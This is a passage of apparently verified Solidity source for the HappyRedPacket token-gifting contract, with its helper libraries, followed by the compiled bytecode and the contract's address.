not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } } else if (signature.length == 64) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } } else { revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } /** * @author Yisi Liu * @contact yisiliu@gmail.com * @author_time 04/20/2021 * @maintainer Hancheng Zhou, Yisi Liu * @maintain_time 05/21/2021 **/ pragma solidity >= 0.8.0; contract HappyRedPacket is Initializable { using SafeMath for uint256; struct RedPacket { Packed packed; mapping(address => uint256) claimed_list; address public_key; address creator; } struct Packed { uint256 packed1; // 0 (128) total_tokens (96) expire_time(32) uint256 packed2; // 0 (64) token_addr (160) claimed_numbers(15) total_numbers(15) token_type(1) ifrandom(1) } event CreationSuccess( uint total, bytes32 id, string name, string message, address creator, uint creation_time, address token_address, uint number, bool ifrandom, uint duration ); event ClaimSuccess( bytes32 id, address claimer, uint claimed_value, address token_address ); event RefundSuccess( bytes32 id, address token_address, uint remaining_balance ); using SafeERC20 for IERC20; uint32 nonce; mapping(bytes32 => RedPacket) redpacket_by_id; bytes32 private seed; uint256 constant MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function initialize() public initializer { seed = keccak256(abi.encodePacked("Former NBA Commissioner David St", block.timestamp, msg.sender)); } // Inits a red packet instance // _token_type: 0 - ETH 1 - ERC20 function create_red_packet (address _public_key, uint _number, bool _ifrandom, uint _duration, bytes32 _seed, string memory _message, string memory _name, uint _token_type, address _token_addr, uint _total_tokens) public payable { nonce ++; require(_total_tokens >= _number, "#tokens > #packets"); require(_number > 0, "At least 1 recipient"); require(_number < 256, "At most 255 recipients"); require(_token_type == 0 || _token_type == 1, "Unrecognizable token type"); uint256 received_amount = _total_tokens; if (_token_type == 0) require(msg.value >= _total_tokens, "No enough ETH"); else if (_token_type == 1) { // https://github.com/DimensionDev/Maskbook/issues/4168 // `received_amount` is not necessarily equal to `_total_tokens` uint256 balance_before_transfer = IERC20(_token_addr).balanceOf(address(this)); IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); uint256 balance_after_transfer = IERC20(_token_addr).balanceOf(address(this)); received_amount = balance_after_transfer.sub(balance_before_transfer); require(received_amount >= _number, "#received > #packets"); } bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed, _seed)); { uint _random_type = _ifrandom ? 1 : 0; RedPacket storage redp = redpacket_by_id[_id]; redp.packed.packed1 = wrap1(received_amount, _duration); redp.packed.packed2 = wrap2(_token_addr, _number, _token_type, _random_type); redp.public_key = _public_key; redp.creator = msg.sender; } { // as a workaround for "CompilerError: Stack too deep, try removing local variables" uint number = _number; bool ifrandom = _ifrandom; uint duration = _duration; emit CreationSuccess(received_amount, _id, _name, _message, msg.sender, block.timestamp, _token_addr, number, ifrandom, duration); } } // It takes the signed msg.sender message as verification passcode function claim(bytes32 id, bytes memory signedMsg, address payable recipient) public returns (uint claimed) { RedPacket storage rp = redpacket_by_id[id]; Packed memory packed = rp.packed; // Unsuccessful require (unbox(packed.packed1, 224, 32) > block.timestamp, "Expired"); uint total_number = unbox(packed.packed2, 239, 15); uint claimed_number = unbox(packed.packed2, 224, 15); require (claimed_number < total_number, "Out of stock"); address public_key = rp.public_key; require(_verify(signedMsg, public_key), "Verification failed"); uint256 claimed_tokens; uint256 token_type = unbox(packed.packed2, 254, 1); uint256 ifrandom = unbox(packed.packed2, 255, 1); uint256 remaining_tokens = unbox(packed.packed1, 128, 96); if (ifrandom == 1) { if (total_number - claimed_number == 1) claimed_tokens = remaining_tokens; else claimed_tokens = random(seed, nonce) % SafeMath.div(SafeMath.mul(remaining_tokens, 2), total_number - claimed_number); if (claimed_tokens == 0) claimed_tokens = 1; } else { if (total_number - claimed_number == 1) claimed_tokens = remaining_tokens; else claimed_tokens = SafeMath.div(remaining_tokens, (total_number - claimed_number)); } rp.packed.packed1 = rewriteBox(packed.packed1, 128, 96, remaining_tokens - claimed_tokens); // Penalize greedy attackers by placing duplication check at the very last require(rp.claimed_list[msg.sender] == 0, "Already claimed"); rp.claimed_list[msg.sender] = claimed_tokens; rp.packed.packed2 = rewriteBox(packed.packed2, 224, 15, claimed_number + 1); // Transfer the red packet after state changing if (token_type == 0) recipient.transfer(claimed_tokens); else if (token_type == 1) transfer_token(address(uint160(unbox(packed.packed2, 64, 160))), recipient, claimed_tokens); // Claim success event emit ClaimSuccess(id, recipient, claimed_tokens, address(uint160(unbox(packed.packed2, 64, 160)))); return claimed_tokens; } // as a workaround for "CompilerError: Stack too deep, try removing local variables" function _verify(bytes memory signedMsg, address public_key) private view returns (bool verified) { bytes memory prefix = "\x19Ethereum Signed Message:\n20"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, msg.sender)); address calculated_public_key = ECDSA.recover(prefixedHash, signedMsg); return (calculated_public_key == public_key); } // Returns 1. remaining value 2. total number of red packets 3. claimed number of red packets function check_availability(bytes32 id) external view returns ( address token_address, uint balance, uint total, uint claimed, bool expired, uint256 claimed_amount) { RedPacket storage rp = redpacket_by_id[id]; Packed memory packed = rp.packed; return ( address(uint160(unbox(packed.packed2, 64, 160))), unbox(packed.packed1, 128, 96), unbox(packed.packed2, 239, 15), unbox(packed.packed2, 224, 15), block.timestamp > unbox(packed.packed1, 224, 32), rp.claimed_list[msg.sender] ); } function refund(bytes32 id) public { RedPacket storage rp = redpacket_by_id[id]; Packed memory packed = rp.packed; address creator = rp.creator; require(creator == msg.sender, "Creator Only"); require(unbox(packed.packed1, 224, 32) <= block.timestamp, "Not expired yet"); uint256 remaining_tokens = unbox(packed.packed1, 128, 96); require(remaining_tokens != 0, "None left in the red packet"); uint256 token_type = unbox(packed.packed2, 254, 1); address token_address = address(uint160(unbox(packed.packed2, 64, 160))); rp.packed.packed1 = rewriteBox(packed.packed1, 128, 96, 0); if (token_type == 0) { payable(msg.sender).transfer(remaining_tokens); } else if (token_type == 1) { transfer_token(token_address, msg.sender, remaining_tokens); } emit RefundSuccess(id, token_address, remaining_tokens); } //------------------------------------------------------------------ /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } function transfer_token(address token_address, address recipient_address, uint amount) internal{ IERC20(token_address).safeTransfer(recipient_address, amount); } // A boring wrapper function random(bytes32 _seed, uint32 nonce_rand) internal view returns (uint rand) { return uint(keccak256(abi.encodePacked(nonce_rand, msg.sender, _seed, block.timestamp))) + 1 ; } function wrap1 (uint _total_tokens, uint _duration) internal view returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(128, 96, _total_tokens); // total tokens = 80 bits = ~8 * 10^10 18 decimals _packed1 |= box(224, 32, (block.timestamp + _duration)); // expiration_time = 32 bits (until 2106) return _packed1; } function wrap2 (address _token_addr, uint _number, uint _token_type, uint _ifrandom) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(64, 160, uint160(_token_addr)); // token_address = 160 bits _packed2 |= box(224, 15, 0); // claimed_number = 14 bits 16384 _packed2 |= box(239, 15, _number); // total_number = 14 bits 16384 _packed2 |= box(254, 1, _token_type); // token_type = 1 bit 2 _packed2 |= box(255, 1, _ifrandom); // ifrandom = 1 bit 2 return _packed2; } }
0x60806040526004361061004a5760003560e01c80635db05aba1461004f5780636bfdaece146100645780637249fbb61461009f5780637394ad93146100bf5780638129fc1c146100ec575b600080fd5b61006261005d3660046110ca565b610101565b005b34801561007057600080fd5b5061008461007f3660046111ab565b610492565b604051610096969594939291906113cb565b60405180910390f35b3480156100ab57600080fd5b506100626100ba3660046111ab565b610540565b3480156100cb57600080fd5b506100df6100da3660046111c3565b6106c7565b604051610096919061191e565b3480156100f857600080fd5b506100626109bc565b6000805462010000900463ffffffff1690600261011d83611a2c565b91906101000a81548163ffffffff021916908363ffffffff16021790555050888110156101655760405162461bcd60e51b815260040161015c90611581565b60405180910390fd5b600089116101855760405162461bcd60e51b815260040161015c90611553565b61010089106101a65760405162461bcd60e51b815260040161015c90611826565b8215806101b35750826001145b6101cf5760405162461bcd60e51b815260040161015c906114e5565b80836101fa57813410156101f55760405162461bcd60e51b815260040161015c906116b1565b610349565b8360011415610349576040516370a0823160e01b81526000906001600160a01b038516906370a082319061023290309060040161137a565b60206040518083038186803b15801561024a57600080fd5b505afa15801561025e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610282919061122f565b90506102996001600160a01b038516333086610a5f565b6040516370a0823160e01b81526000906001600160a01b038616906370a08231906102c890309060040161137a565b60206040518083038186803b1580156102e057600080fd5b505afa1580156102f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610318919061122f565b90506103248183610abd565b92508b8310156103465760405162461bcd60e51b815260040161015c906117c8565b50505b6000805460025460405161037392339242926201000090920463ffffffff16918d90602001611273565b60405160208183030381529060405280519060200120905060008a61039957600061039c565b60015b600083815260016020526040902060ff9190911691506103bc848c610ac9565b81556103ca868e8985610af8565b81600001600101819055508d8160030160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550338160040160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550505060008b905060008b905060008b90507f86af556fd7cfab9462285ad44f2d5913527c539ff549f74731ca9997ca53401885858b8d33428d8a8a8a6040516104799a99989796959493929190611927565b60405180910390a1505050505050505050505050505050565b600081815260016020818152604080842081518083018352815481529381015492840183905284938493849384938493909290916104d2919060a0610b54565b81516104e19060806060610b54565b6104f2836020015160ef600f610b54565b610503846020015160e0600f610b54565b84516105129060e06020610b54565b3360009081526002909701602052604090962054939d929c50909a5098504293909311965094509092505050565b600081815260016020818152604092839020835180850190945280548452918201549083015260048101549091906001600160a01b03163381146105965760405162461bcd60e51b815260040161015c906118d7565b426105a8836000015160e06020610b54565b11156105c65760405162461bcd60e51b815260040161015c906115ad565b60006105d9836000015160806060610b54565b9050806105f85760405162461bcd60e51b815260040161015c90611791565b600061060b846020015160fe6001610b54565b905060006106208560200151604060a0610b54565b90506106358560000151608060606000610b8f565b86558161066f57604051339084156108fc029085906000818181858888f19350505050158015610669573d6000803e3d6000fd5b50610683565b816001141561068357610683813385610ba6565b7f66c304c539e0bc7c8070207c09b9f6a5a9591b434dfed1867cc57fde7fb600938782856040516106b693929190611427565b60405180910390a150505050505050565b600083815260016020818152604080842081518083019092528054808352938101548284015292909142916106fe9160e090610b54565b1161071b5760405162461bcd60e51b815260040161015c906118fd565b600061072e826020015160ef600f610b54565b90506000610743836020015160e0600f610b54565b90508181106107645760405162461bcd60e51b815260040161015c9061168b565b60038401546001600160a01b031661077c8882610bbf565b6107985760405162461bcd60e51b815260040161015c906115d6565b6000806107ac866020015160fe6001610b54565b905060006107c1876020015160ff6001610b54565b905060006107d6886000015160806060610b54565b90508160011415610850576107eb86886119e9565b600114156107fb57809350610841565b610818610809826002610c4d565b610813888a6119e9565b610c59565b600254600054610834919062010000900463ffffffff16610c65565b61083e9190611a50565b93505b8361084b57600193505b61087b565b61085a86886119e9565b6001141561086a5780935061087b565b61087881610813888a6119e9565b93505b8751610894906080606061088f88866119e9565b610b8f565b895533600090815260028a016020526040902054156108c55760405162461bcd60e51b815260040161015c90611768565b33600090815260028a01602090815260409091208590558801516108f29060e0600f61088f8a600161199e565b60018a015582610938576040516001600160a01b038c169085156108fc029086906000818181858888f19350505050158015610932573d6000803e3d6000fd5b5061095c565b826001141561095c5761095c6109558960200151604060a0610b54565b8c86610ba6565b7f358ddd686a5ca3ef6f8aee9b8d2dc3c642ecc278657c3802f8802b1a44c10e448d8c866109918c60200151604060a0610b54565b6040516109a19493929190611400565b60405180910390a150919750505050505050505b9392505050565b600054610100900460ff16806109d5575060005460ff16155b6109f15760405162461bcd60e51b815260040161015c906116d8565b600054610100900460ff16158015610a1c576000805460ff1961ff0019909116610100171660011790555b4233604051602001610a2f929190611300565b60408051601f1981840301815291905280516020909101206002558015610a5c576000805461ff00191690555b50565b610ab7846323b872dd60e01b858585604051602401610a809392919061138e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610ca1565b50505050565b60006109b582846119e9565b600080610ad96080606086610d30565b17610af060e06020610aeb864261199e565b610d30565b179392505050565b600080610b11604060a06001600160a01b038916610d30565b17610b2060e0600f6000610d30565b17610b2e60ef600f87610d30565b17610b3c60fe600186610d30565b17610b4a60ff600185610d30565b1795945050505050565b6000610b6261010085610d61565b610b7e5760405162461bcd60e51b815260040161015c906114ae565b50600019600190911b0191901c1690565b821b600190911b6000190190911b19919091161790565b610bba6001600160a01b0384168383610d70565b505050565b6000806040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a323000000000815250905060008133604051602001610c0f9291906112ce565b6040516020818303038152906040528051906020012090506000610c338287610d8f565b6001600160a01b0390811690861614935050505092915050565b60006109b582846119ca565b60006109b582846119b6565b600081338442604051602001610c7e9493929190611343565b60408051601f1981840301815291905280516020909101206109b590600161199e565b6000610cf6826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610e159092919063ffffffff16565b805190915015610bba5780806020019051810190610d14919061118f565b610bba5760405162461bcd60e51b815260040161015c9061188d565b6000610d3c8383610d61565b610d585760405162461bcd60e51b815260040161015c906117f6565b5090911b919050565b6101008214600190921b111790565b610bba8363a9059cbb60e01b8484604051602401610a809291906113b2565b600080600080845160411415610db95750505060208201516040830151606084015160001a610dff565b845160401415610de75750505060408201516020830151906001600160ff1b0381169060ff1c601b01610dff565b60405162461bcd60e51b815260040161015c9061151c565b610e0b86828585610e2c565b9695505050505050565b6060610e248484600085610f22565b949350505050565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115610e6e5760405162461bcd60e51b815260040161015c90611603565b8360ff16601b1480610e8357508360ff16601c145b610e9f5760405162461bcd60e51b815260040161015c90611726565b600060018686868660405160008152602001604052604051610ec49493929190611446565b6020604051602081039080840390855afa158015610ee6573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f195760405162461bcd60e51b815260040161015c90611477565b95945050505050565b606082471015610f445760405162461bcd60e51b815260040161015c90611645565b610f4d85610fe2565b610f695760405162461bcd60e51b815260040161015c90611856565b600080866001600160a01b03168587604051610f8591906112b2565b60006040518083038185875af1925050503d8060008114610fc2576040519150601f19603f3d011682016040523d82523d6000602084013e610fc7565b606091505b5091509150610fd7828286610fec565b979650505050505050565b803b15155b919050565b60608315610ffb5750816109b5565b82511561100b5782518084602001fd5b8160405162461bcd60e51b815260040161015c9190611464565b600067ffffffffffffffff8084111561104057611040611a90565b604051601f8501601f19168101602001828111828210171561106457611064611a90565b60405284815291508183850186101561107c57600080fd5b8484602083013760006020868301015250509392505050565b8035610fe781611aa6565b8035610fe781611abb565b600082601f8301126110bb578081fd5b6109b583833560208501611025565b6000806000806000806000806000806101408b8d0312156110e9578586fd5b6110f28b611095565b995060208b0135985061110760408c016110a0565b975060608b0135965060808b0135955060a08b013567ffffffffffffffff80821115611131578687fd5b61113d8e838f016110ab565b965060c08d0135915080821115611152578586fd5b5061115f8d828e016110ab565b94505060e08b013592506111766101008c01611095565b91506101208b013590509295989b9194979a5092959850565b6000602082840312156111a0578081fd5b81516109b581611abb565b6000602082840312156111bc578081fd5b5035919050565b6000806000606084860312156111d7578283fd5b83359250602084013567ffffffffffffffff8111156111f4578283fd5b8401601f81018613611204578283fd5b61121386823560208401611025565b925050604084013561122481611aa6565b809150509250925092565b600060208284031215611240578081fd5b5051919050565b6000815180845261125f816020860160208601611a00565b601f01601f19169290920160200192915050565b60609590951b6001600160601b0319168552601485019390935260e09190911b6001600160e01b03191660348401526038830152605882015260780190565b600082516112c4818460208701611a00565b9190910192915050565b600083516112e0818460208801611a00565b60609390931b6001600160601b0319169190920190815260140192915050565b7f466f726d6572204e424120436f6d6d697373696f6e65722044617669642053748152602081019290925260601b6001600160601b031916604082015260540190565b60e09490941b6001600160e01b031916845260609290921b6001600160601b03191660048401526018830152603882015260580190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039690961686526020860194909452604085019290925260608401521515608083015260a082015260c00190565b9384526001600160a01b039283166020850152604084019190915216606082015260800190565b9283526001600160a01b03919091166020830152604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b6000602082526109b56020830184611247565b60208082526018908201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604082015260600190565b60208082526018908201527f56616c7565206f7574206f662072616e676520554e424f580000000000000000604082015260600190565b60208082526019908201527f556e7265636f676e697a61626c6520746f6b656e207479706500000000000000604082015260600190565b6020808252601f908201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604082015260600190565b602080825260149082015273105d081b19585cdd080c481c9958da5c1a595b9d60621b604082015260600190565b60208082526012908201527123746f6b656e73203e20237061636b65747360701b604082015260600190565b6020808252600f908201526e139bdd08195e1c1a5c9959081e595d608a1b604082015260600190565b60208082526013908201527215995c9a599a58d85d1a5bdb8819985a5b1959606a1b604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604082015261756560f01b606082015260800190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252600c908201526b4f7574206f662073746f636b60a01b604082015260600190565b6020808252600d908201526c09cde40cadcdeeaced0408aa89609b1b604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604082015261756560f01b606082015260800190565b6020808252600f908201526e105b1c9958591e4818db185a5b5959608a1b604082015260600190565b6020808252601b908201527f4e6f6e65206c65667420696e2074686520726564207061636b65740000000000604082015260600190565b602080825260149082015273237265636569766564203e20237061636b65747360601b604082015260600190565b6020808252601690820152750acc2d8eaca40deeae840decc40e4c2dcceca40849eb60531b604082015260600190565b6020808252601690820152754174206d6f73742032353520726563697069656e747360501b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252600c908201526b43726561746f72204f6e6c7960a01b604082015260600190565b602080825260079082015266115e1c1a5c995960ca1b604082015260600190565b90815260200190565b60006101408c83528b60208401528060408401526119478184018c611247565b9050828103606084015261195b818b611247565b6001600160a01b03998a16608085015260a084019890985250509390951660c084015260e083019190915215156101008201526101200191909152949350505050565b600082198211156119b1576119b1611a64565b500190565b6000826119c5576119c5611a7a565b500490565b60008160001904831182151516156119e4576119e4611a64565b500290565b6000828210156119fb576119fb611a64565b500390565b60005b83811015611a1b578181015183820152602001611a03565b83811115610ab75750506000910152565b600063ffffffff80831681811415611a4657611a46611a64565b6001019392505050565b600082611a5f57611a5f611a7a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a5c57600080fd5b8015158114610a5c57600080fdfea2646970667358221220260ae74c7e31b7d57fa2a93ca1b8292f6da78b786db8a1a482e81ec0b1ffd22364736f6c63430008000033
[ 10, 3, 9 ]
0xf21991430c5593e1af819d583c87e39850b7d82a
